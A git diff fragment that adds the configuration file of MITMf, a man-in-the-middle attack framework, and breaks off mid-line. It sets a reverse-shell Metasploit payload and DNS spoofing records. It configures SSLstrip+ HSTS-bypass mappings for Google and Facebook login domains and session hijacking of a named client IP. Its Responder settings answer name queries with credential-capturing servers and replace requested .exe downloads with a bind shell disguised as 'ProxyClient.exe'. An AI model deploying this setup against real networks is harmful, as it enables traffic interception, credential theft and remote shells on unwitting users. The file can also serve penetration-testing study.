- SUPPLIED_SHELLCODE = None
- MSFPAYLOAD = linux/x64/shell_reverse_tcp
\ No newline at end of file
diff --git a/config/mitmf.conf b/config/mitmf.conf
new file mode 100755
index 0000000..1e78825
--- /dev/null
+++ b/config/mitmf.conf
@@ -0,0 +1,528 @@
+#
+# MITMf configuration file
+#
+
+[MITMf]
+
+ # Required BeEF and Metasploit options
+ [[BeEF]]
+ host = 127.0.0.1
+ port = 3000
+ user = beef
+ pass = beef
+
+ [[Metasploit]]
+ rpcip = 127.0.0.1
+ rpcport = 55552
+ rpcpass = abc123
+
+ [[MITMf-API]]
+ host = 127.0.0.1
+ port = 9999
+
+ [[DNS]]
+
+ #
+ # Here you can configure MITMf's internal DNS server
+ #
+
+ tcp = Off # Use the TCP DNS proxy instead of the default UDP (not fully tested, might break stuff!)
+ port = 53 # Port to listen on
+ ipv6 = Off # Run in IPv6 mode (not fully tested, might break stuff!)
+
+ #
+ # Supported formats are 8.8.8.8#53 or 4.2.2.1#53#tcp or 2001:4860:4860::8888
+ # can also be a comma seperated list e.g 8.8.8.8,8.8.4.4
+ #
+ nameservers = 8.8.8.8
+
+ [[[A]]] # Queries for IPv4 address records
+ *.thesprawl.org=192.168.178.27
+ *.captive.portal=192.168.1.100
+
+ [[[AAAA]]] # Queries for IPv6 address records
+ *.thesprawl.org=2001:db8::1
+
+ [[[MX]]] # Queries for mail server records
+ *.thesprawl.org=mail.fake.com
+
+ [[[NS]]] # Queries for mail server records
+ *.thesprawl.org=ns.fake.com
+
+ [[[CNAME]]] # Queries for alias records
+ *.thesprawl.org=www.fake.com
+
+ [[[TXT]]] # Queries for text records
+ *.thesprawl.org=fake message
+
+ [[[PTR]]] # PTR queries
+ *.2.0.192.in-addr.arpa=fake.com
+
+ [[[SOA]]] #FORMAT: mname rname t1 t2 t3 t4 t5
+ *.thesprawl.org=ns.fake.com. hostmaster.fake.com. 1 10800 3600 604800 3600
+
+ [[[NAPTR]]] #FORMAT: order preference flags service regexp replacement
+ *.thesprawl.org=100 10 U E2U+sip !^.*$!sip:customer-service@fake.com! .
+
+ [[[SRV]]] #FORMAT: priority weight port target
+ *.*.thesprawl.org=0 5 5060 sipserver.fake.com
+
+ [[[DNSKEY]]] #FORMAT: flags protocol algorithm base64(key)
+ *.thesprawl.org=256 3 5 AQPSKmynfzW4kyBv015MUG2DeIQ3Cbl+BBZH4b/0PY1kxkmvHjcZc8nokfzj31GajIQKY+5CptLr3buXA10hWqTkF7H6RfoRqXQeogmMHfpftf6zMv1LyBUgia7za6ZEzOJBOztyvhjL742iU/TpPSEDhm2SNKLijfUppn1UaNvv4w==
+
+ [[[RRSIG]]] #FORMAT: covered algorithm labels labels orig_ttl sig_exp sig_inc key_tag name base64(sig)
+ *.thesprawl.org=A 5 3 86400 20030322173103 20030220173103 2642 thesprawl.org. oJB1W6WNGv+ldvQ3WDG0MQkg5IEhjRip8WTrPYGv07h108dUKGMeDPKijVCHX3DDKdfb+v6oB9wfuh3DTJXUAfI/M0zmO/zz8bW0Rznl8O3tGNazPwQKkRN20XPXV6nwwfoXmJQbsLNrLfkGJ5D6fwFm8nN+6pBzeDQfsS3Ap3o=
+
+#
+# Plugin configuration starts here
+#
+[Captive]
+
+ # Set Server Port and string if we are serving our own portal from SimpleHTTPServer (80 is already used by default server)
+ Port = 8080
+ ServerString = "Captive Server 1.0"
+
+ # Set the filename served as /CaptivePortal.exe by integrated http server
+ PayloadFilename = config/captive/calc.exe
+
+[Replace]
+
+ [[Regex1]]
+ 'Google Search' = '44CON'
+
+ [[Regex2]]
+ "I'm Feeling Lucky" = "I'm Feeling Something In My Pants"
+
+[Ferret-NG]
+ #
+ # Here you can specify the client to hijack sessions from
+ #
+
+ Client = '10.0.237.91'
+
+[SSLstrip+]
+
+ #
+ #Here you can configure your domains to bypass HSTS on, the format is real.domain.com = fake.domain.com
+ #
+
+ #for google and gmail
+ accounts.google.com = account.google.com
+ mail.google.com = gmail.google.com
+ accounts.google.se = cuentas.google.se
+
+ #for facebook
+ www.facebook.com = social.facebook.com
+
+[Responder]
+
+ #Servers to start
+ SQL = On
+ HTTPS = On
+ Kerberos = On
+ FTP = On
+ POP = On
+ SMTP = On
+ IMAP = On
+ LDAP = On
+
+ #Custom challenge
+ Challenge = 1122334455667788
+
+ #Specific IP Addresses to respond to (default = All)
+ #Example: RespondTo = 10.20.1.100-150, 10.20.3.10
+ RespondTo =
+
+ #Specific NBT-NS/LLMNR names to respond to (default = All)
+ #Example: RespondTo = WPAD, DEV, PROD, SQLINT
+ RespondToName =
+
+ #Specific IP Addresses not to respond to (default = None)
+ #Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
+ DontRespondTo =
+
+ #Specific NBT-NS/LLMNR names not to respond to (default = None)
+ #Example: DontRespondTo = NAC, IPS, IDS
+ DontRespondToName =
+
+ [[HTTP Server]]
+
+ #Set to On to always serve the custom EXE
+ Serve-Always = Off
+
+ #Set to On to replace any requested .exe with the custom EXE
+ Serve-Exe = On
+
+ #Set to On to serve the custom HTML if the URL does not contain .exe
+ Serve-Html = Off
+
+ #Custom HTML to serve
+ HtmlFilename = config/responder/AccessDenied.html
+
+ #Custom EXE File to serve
+ ExeFilename = config/responder/BindShell.exe
+
+ #Name of the downloaded .exe that the client will see
+ ExeDownloadName = ProxyClient.exe
+
+ #Custom WPAD Script
+ WPADScript = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "RespProxySrv")||shExpMatch(host, "(*.RespProxySrv|RespProxySrv)")) return "DIRECT"; return 'PROXY ISAProxySrv:3141; DIRECT';}'
+
+ #HTML answer to inject in HTTP responses (before